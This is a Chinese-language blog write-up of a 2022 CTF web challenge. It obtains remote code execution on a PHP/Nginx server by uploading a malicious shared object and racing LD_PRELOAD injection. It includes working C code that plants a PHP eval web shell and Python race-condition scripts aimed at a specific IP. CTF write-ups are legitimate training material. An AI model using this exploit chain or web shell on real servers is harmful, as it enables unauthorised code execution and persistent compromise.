[虎符CTF] ezphp:LD_PRELOAD环境变量注入

发布于 2022-04-15  42 次阅读


思路

参考链接:

http://y24.top/posts/%E6%96%87%E7%AB%A0/2022%E8%99%8E%E7%AC%A6ctf/
https://tttang.com/archive/1384/
https://www.anquanke.com/post/id/175403

我们上传文件的时候,Nginx会将这个文件缓存下来,并处于打开状态,直到传输完毕才关闭。

然后通过putenv()添加环境变量LD_PRELOAD去调用这个恶意文件,这样就能执行这个.so文件里面的命令。

如果,我们在.so文件中写入一个

system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");

这样不就可以构造一个rce啦!!!

遇到的问题

什么是.so文件

so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据。

  • 1、so文件就跟.dll文件差不多。

  • 2、一般来说,so文件就是常说的动态链接库, 都是C或C++编译出来的。与Java比较它通常是用的Class文件(字节码)。

  • 3、Linux下的so文件时不能直接运行的,一般来讲,.so文件称为共享库。

  • 4、so文件使用方法
    (1)动态库的编译。这里有一个头文件:so_test.h,三个.c文件:test_a.c、test_b.c、test_c.c,我们将这几个文件编译成一个动态库:libtest.so。
    命令:$ gcc test_a.c test_b.c test_c.c -fPIC -shared -o libtest.so 不用该标志外部程序无法连接。相当于一个可执行文件。

(2)动态库的链接
这里有个程序源文件 test.c 与动态库 libtest.so 链接生成执行文件 test:
命令:$ gcc test.c -L. -ltest -o test
命令:$ ldd test执行test,可以看到它是如何调用动态库中的函数的。

什么是LD_PRELOAD

参考链接:https://blog.csdn.net/chen_jianjian/article/details/80627693
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
利用这个点,我们可以优先加载到我们的.so文件

构造.so文件

如何去制作这so恶意文件,可以参考p牛的goahead环境变量注入。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload() {
        system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译生成.so文件

gcc -shared -fPIC 1.c -o 1.so 

如果文件这么短的话,上传到云端,Nginx很快就能加载完,那么我们可能没有访问到这个文件的时候,就被关闭了。
所以我们需要在文件的后边加上好多没有用的字符。

perl -le "print(q(a)x3000000)">>1.so

找到Nginx的缓存文件的目录

我上传.so文件到云端之后,然后需要去访问到这个.so文件。
最简单的方法就是打开官方给的附件,在本地运行docker进行查看。
但是发现了,运行不了查看进程的命令!

遇到的问题


原因是这个dockerfile里面没有apt加载进程的命令。

那么我们手动加入一行

RUN apt-get update && apt-get install procps -y


一定要加这个-y!!!!不然会报错23333

找到缓存目录

首先进入我们构建好的镜像。

docker exec -it [容器id] /bin/bash
ps -aux

找到www-data权限的文件,然后用盲打来条件竞争这几个文件

上传.so

1.py

from threading import Thread
import requests
import socket
import time

port = 28093
host = "116.62.164.167"


def do_so():
    data = open("1.so", "rb").read()

    packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
    packet = packet.encode()

    packet += data
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(packet)
    #time.sleep(10)
    s.close()


if __name__ == "__main__":
    
        do_so()

2.py

 import requests
from threading import Thread

port = 28093
host = "116.62.164.167"

def ldload(pid, fd):
   sopath = f"/proc/{pid}/fd/{fd}"
   print(sopath)
   r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
   return r

if __name__ == "__main__":
   # ldload(20, 20)
   while 1:
       for pid in range(1, 40):
           for fd in range(1, 40):
               t = Thread(target=ldload, args=(pid, fd))
               t.start()

直接条件竞争

python 1.py & python 2.py

最后访问/shanks.php,post执行上传一句话木马即可


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”